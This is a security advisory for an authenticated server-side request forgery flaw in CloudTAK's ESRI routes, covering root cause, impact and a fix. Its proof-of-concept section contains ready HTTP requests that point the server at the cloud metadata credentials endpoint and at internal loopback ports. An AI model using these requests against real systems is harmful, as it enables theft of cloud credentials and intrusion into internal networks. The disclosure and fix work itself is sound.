PT-2026-60903 · Npm · @Tak-Ps/Cloudtak

CVE-2026-55177

·

Published

2026-07-17

·

Updated

2026-07-17

CVSS v4.0

7.6

High

VectorAV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Authenticated full-read SSRF in CloudTAK /api/esri* routes — user-controlled URL fetched with no IP-classification guard

Summary

Every route in the ESRI helper family (api/routes/esri.ts) takes a fully attacker-controlled URL from the request (POST /api/esri body url, and the portal / server / layer query parameters on the GET /api/esri/* routes) and passes it into EsriBase / EsriProxyPortal / EsriProxyServer / EsriProxyLayer in api/lib/esri.ts, which fetch it with the bare fetch from @tak-ps/etl. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges.
Any authenticated user (the routes only require Auth.is auth(config, req, { anyResources: true }), i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (169.254.169.254), loopback admin ports (127.0.0.1:<port>), and other hosts reachable only from inside the deployment VPC.
This is a full-read SSRF, not blind: on success the upstream JSON body is returned to the caller via res.json(...), and on failure the upstream error string is reflected verbatim as ESRI Server Error: <message>. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies.
The sniff() URL classifier provides no protection: it only pattern-matches the pathname (/rest, /arcgis/rest, /sharing/rest), so a URL like http://169.254.169.254/arcgis/rest or http://127.0.0.1:8500/rest passes sniff() and is fetched.

Affected versions

  • All versions up to and including 13.7.0 (latest at time of report).
The project already ships an SSRF guard helper — isSafeUrl from @tak-ps/node-safeurl — and wires it into the basemap, task, and video-service code paths, but the entire /api/esri* route family and the ESRI fetch library (api/lib/esri.ts) were never wired up, leaving the guard absent on this surface.

Vulnerable code

All permalinks are pinned to commit c7433679d2107fa0258e9005069bc5b4ca5773aa (release lineage of 13.7.0).
Routes — user input → ESRI fetch, no guard (api/routes/esri.ts):
Library — the fetch sinks (api/lib/esri.ts), all reached with the user URL and none preceded by a guard:
sniff() only inspects the pathname (no host/IP check): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L142-L156
The guard exists elsewhere but is missing here — for comparison, the basemap import path classifies the URL before fetching: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L85-L90
Note also that the ESRI sub-branch inside basemap.ts (isEsriLayerURL(...) → new EsriBase(...) → EsriProxyLayer.tilejson()) reaches the same unguarded ESRI library and is therefore equally affected: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L770-L773
grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts returns 0 and 0.

Proof of concept

Prerequisites: a running CloudTAK instance and a valid user token (any non-admin user account — the routes only call Auth.is auth(config, req, { anyResources: true })).

1. Read cloud instance metadata (credential theft)

http
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
Content-Type: application/json

{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest" }
The server's EsriBase.from() calls fetchVersion() → fetch('http://169.254.169.254/...?f=json'). The path contains /rest, so sniff() classifies it as SERVER and the request proceeds. The metadata service's response body is read back to the attacker — either inside the successful JSON response, or reflected in the error string (ESRI Server Error: <upstream body fragment>). On AWS IMDSv1 deployments this yields the instance-role temporary credentials.

2. Read an internal-only service over loopback / VPC (full-read)

http
GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
new EsriBase('http://127.0.0.1:8500/rest') → EsriProxyServer.getList() → fetch('http://127.0.0.1:8500/rest?f=json'). The full JSON returned by the internal service (here a Consul/admin port, but any internal host:port reachable from the CloudTAK box works) is reflected to the attacker via res.json(list).
GET /api/esri/portal?portal=http://<internal-host>/sharing/rest and GET /api/esri/server/layer?layer=http://<internal-host>/rest/.../FeatureServer/0&query=1=1 give the same full-read primitive on the other sub-routes.

3. Negative control — unauthenticated is rejected

http
POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Content-Type: application/json

{ "url": "http://169.254.169.254/latest/meta-data/arcgis/rest" }
Returns 403 Authentication Required (from Auth.is auth → api/lib/auth.ts:118). The SSRF is reachable by any authenticated user but not by an anonymous one.

E2E reproduction (sink path against a controlled internal victim)

Because exercising the real route against a public cloud metadata endpoint is not something to do against third-party infrastructure, the sink was reproduced against a local internal-only victim using the same fetch import (@tak-ps/etl) and the verbatim EsriBase.sniff() + fetchVersion() logic the route uses. The harness models the route handler exactly: it new URL()s the user input, runs sniff(), then fetch()s — with isSafeUrl deliberately not called (matching shipped behavior), and a toggled control branch that calls it (matching the basemap guard).
Victim (victim.mjs) — an internal-only service on 127.0.0.1:9099 returning a secret JSON body:
[victim] internal service listening on 127.0.0.1:9099
[victim] HIT GET /arcgis/rest?f=json from 127.0.0.1
Harness output (esri ssrf e2e.mjs), user-supplied URL http://127.0.0.1:9099/arcgis/rest:
[VULN/no-guard] route returned full internal body:
{
 "type": "SERVER",
 "base": "http://127.0.0.1:9099/arcgis/rest",
 "upstreamBody": {
  "currentVersion": "11.4",
  "internal-only": true,
  "aws-metadata-simulated": {
   "iam": { "role": "cloudtak-prod-instance-role", "AccessKeyId": "ASIA FAKE INTERNAL KEY DO NOT USE" }
  },
  "note": "If you can read this from a user-supplied URL, that is SSRF (full-read)."
 }
}
[CONTROL/guarded] blocked as expected: Blocked URL: blocked IP address: 127.0.0.1
And isSafeUrl confirms it would block the metadata / loopback targets if it were called on this path:
http://169.254.169.254/latest/meta-data/ => {"safe":false, ... "reason":"blocked IP address: 169.254.169.254"}
http://127.0.0.1:9999/         => {"safe":false, ... "reason":"blocked IP address: 127.0.0.1"}
http://localhost/            => {"safe":false, ... "reason":"blocked hostname: localhost"}
So: with the shipped (no-guard) code the request reaches the internal victim and the full internal body is returned; with the basemap-style isSafeUrl guard the same request is blocked. (A full container OOM-style demonstration of reading real cloud metadata is intentionally not performed against live infrastructure; the victim-host reproduction is the honest, self-contained equivalent of the route's fetch path.)

Root cause

Two compounding gaps:
  1. No IP/DNS classification before fetch. api/lib/esri.ts imports the unguarded fetch from @tak-ps/etl and calls it with a URL derived directly from user input in every EsriProxy* method and in EsriBase.fetchVersion() / generateToken(). Nothing resolves the hostname and rejects private / loopback / link-local addresses. The repository already depends on @tak-ps/node-safeurl (isSafeUrl) precisely for this, and uses it in api/routes/basemap.ts, api/routes/task.ts, and api/lib/control/video-service.ts — but the guard was never added to the ESRI route family or to the ESRI library. This is an incomplete migration: the SafeURL hardening (PR #1468) covered basemap/task/video but left /api/esri* and api/lib/esri.ts (including the ESRI sub-branch of basemap import) unprotected.
  2. sniff() validates the wrong thing. The only inspection the URL receives before being fetched is EsriBase.sniff(), which pattern-matches the pathname for /rest, /arcgis/rest, or /sharing/rest. It never looks at the host, so an attacker simply appends /rest (or /arcgis/rest) to an internal URL and it is accepted and fetched.

Impact

  • CWE-918 Server-Side Request Forgery, full-read.
  • Cloud credential theft: reading http://169.254.169.254/latest/meta-data/iam/security-credentials/... (IMDSv1) yields the instance role's temporary AWS credentials, which an attacker can use against the deployment's cloud account.
  • Internal network enumeration and data exfiltration: any host:port reachable from the CloudTAK server (loopback admin ports, VPC-internal services, databases with HTTP interfaces, link-local) can be probed and, where the response is JSON-ish, read in full via the reflected response body / error string.
  • Privilege required: any authenticated user with any token (anyResources: true) — not limited to administrators. Unauthenticated requests are rejected (403), so this requires a valid account but no special role.

Fix

Centralize the existing isSafeUrl guard inside the ESRI library so every /api/esri* route and the ESRI sub-branch of basemap import are covered by one chokepoint, mirroring the guard already used in basemap.ts:
  • Add an async URL-classification step that runs isSafeUrl(...) and throws Blocked URL: <reason> for any URL that resolves to a private/loopback/link-local address, before the first fetch in EsriBase (e.g. in EsriBase.from() and a guarded constructor/init path, so both new EsriBase(...) + later proxy calls and EsriBase.from(...) are covered).
  • Preserve the existing process.env.StackName !== 'test' test-mode skip used elsewhere so the test suite is unaffected.
Because all six routes funnel through EsriBase / the EsriProxy* classes in api/lib/esri.ts, guarding the library is sufficient and avoids re-introducing the same per-route omission. A reference patch implementing exactly this (guard added to the ESRI library + applied on the route entry points, matching the basemap pattern) is provided as a pull request from a private fork.

Disclosure

  • Reported by tonghuaroot.
  • Credit: tonghuaroot only.
Reference fix PR (private advisory fork): https://github.com/dfpc-coe/CloudTAK-ghsa-r95q-fp26-h3hc/pull/1 — commit ff6dd1d9, centralizing isSafeUrl inside api/lib/esri.ts (safeFetch wrapper + EsriBase.assertSafe).

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-918

Related Identifiers

CVE-2026-55177
GHSA-R95Q-FP26-H3HC

Affected Products

@Tak-Ps/Cloudtak